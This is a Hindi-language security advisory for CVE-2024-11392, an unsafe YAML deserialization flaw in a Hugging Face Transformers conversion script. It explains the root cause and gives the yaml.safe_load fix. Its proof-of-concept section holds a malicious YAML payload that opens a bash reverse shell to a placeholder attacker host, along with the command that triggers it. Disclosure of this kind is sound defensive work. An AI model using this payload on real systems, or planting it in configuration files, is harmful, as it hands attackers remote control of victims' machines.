
CVE-2024-11392 के लिए तकनीकी विवरण और एक्सप्लॉइट
भेद्यता का उच्च-स्तरीय अवलोकन और प्रभाव:
यह भेद्यता एक हमलावर को हुगिंग फेस ट्रांसफॉर्मर्स रिपॉजिटरी में convert_mlcvnets_to_pytorch.py स्क्रिप्ट में एक दुर्भावनापूर्ण कॉन्फ़िगरेशन फ़ाइल प्रदान करके होस्ट मशीन पर मनमाना कोड निष्पादित करने की अनुमति देती है।
यदि कोई अनजान उपयोगकर्ता किसी तृतीय-पक्ष मॉडल के साथ एक दुर्भावनापूर्ण कॉन्फ़िगरेशन फ़ाइल का उपयोग करता है, तो convert_mlcvnets_to_pytorch.py स्क्रिप्ट को निष्पादित करने से पीड़ित के सिस्टम पर रिमोट कोड निष्पादन (RCE) होगा।
भेद्य उत्पाद
मूल कारण विश्लेषण
भेद्यता का विस्तृत विवरण: यह भेद्यता अविश्वसनीय डेटा के असुरक्षित डिसीरियलाइज़ेशन का परिणाम है। स्क्रिप्ट yaml.load फ़ंक्शन का उपयोग लोडर - FullLoader के साथ करती है, जो पूर्ण YAML भाषा को लोड करता है और कोड निष्पादन के लिए असुरक्षित है।
इनपुट से लेकर भेद्य स्थिति तक कोड प्रवाह:
ml-cvnet मॉडल डाउनलोड करता है।convert_mlcvnets_to_pytorch.py स्क्रिप्ट चलाता है और उसमें कॉन्फ़िगरेशन फ़ाइल पास करता है।convert_mlcvnets_to_pytorch.py स्क्रिप्ट कॉन्फ़िगरेशन फ़ाइल को डिसीरियलाइज़ करती है और दुर्भावनापूर्ण कोड निष्पादित करती है।इंजेक्शन बिंदु: भेद्यता उस बिंदु पर होती है जहाँ yaml.load(yaml_file, Loader=yaml.FullLoader) कॉल किया जाता है।
GitHub परमालिंक: https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py#L57
सुझाए गए सुधार: yaml.load(yaml_file, Loader=yaml.FullLoader) को yaml.safe_load(yaml_file) से बदलें ताकि मनमाना कोड के निष्पादन को रोका जा सके।
प्रूफ-ऑफ-कॉन्सेप्ट निष्पादित करने के निर्देश:
transformers_exploit.yaml बनाएँ जो पीड़ित के सिस्टम पर एक रिवर्स शेल खोलेगी:!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1')"
convert_mlcvnets_to_pytorch.py स्क्रिप्ट चलाएँ और --orig_config_path में transformers_exploit.yaml फ़ाइल पास करें:> python convert_mlcvnets_to_pytorch.py --orig_checkpoint_path dummy_checkpoint.pt --orig_config_path transformers_exploit.yaml --pytorch_dump_folder_path dummy_output --task imagenet1k_256
नोट: dummy_checkpoint.pt को एक खाली फ़ाइल, dummy_output को एक खाली निर्देशिका, और task को स्क्रिप्ट में उल्लिखित किसी भी विकल्प के रूप में छोड़ा जा सकता है।
सॉफ्टवेयर डाउनलोड लिंक: https://github.com/huggingface/transformers/tree/main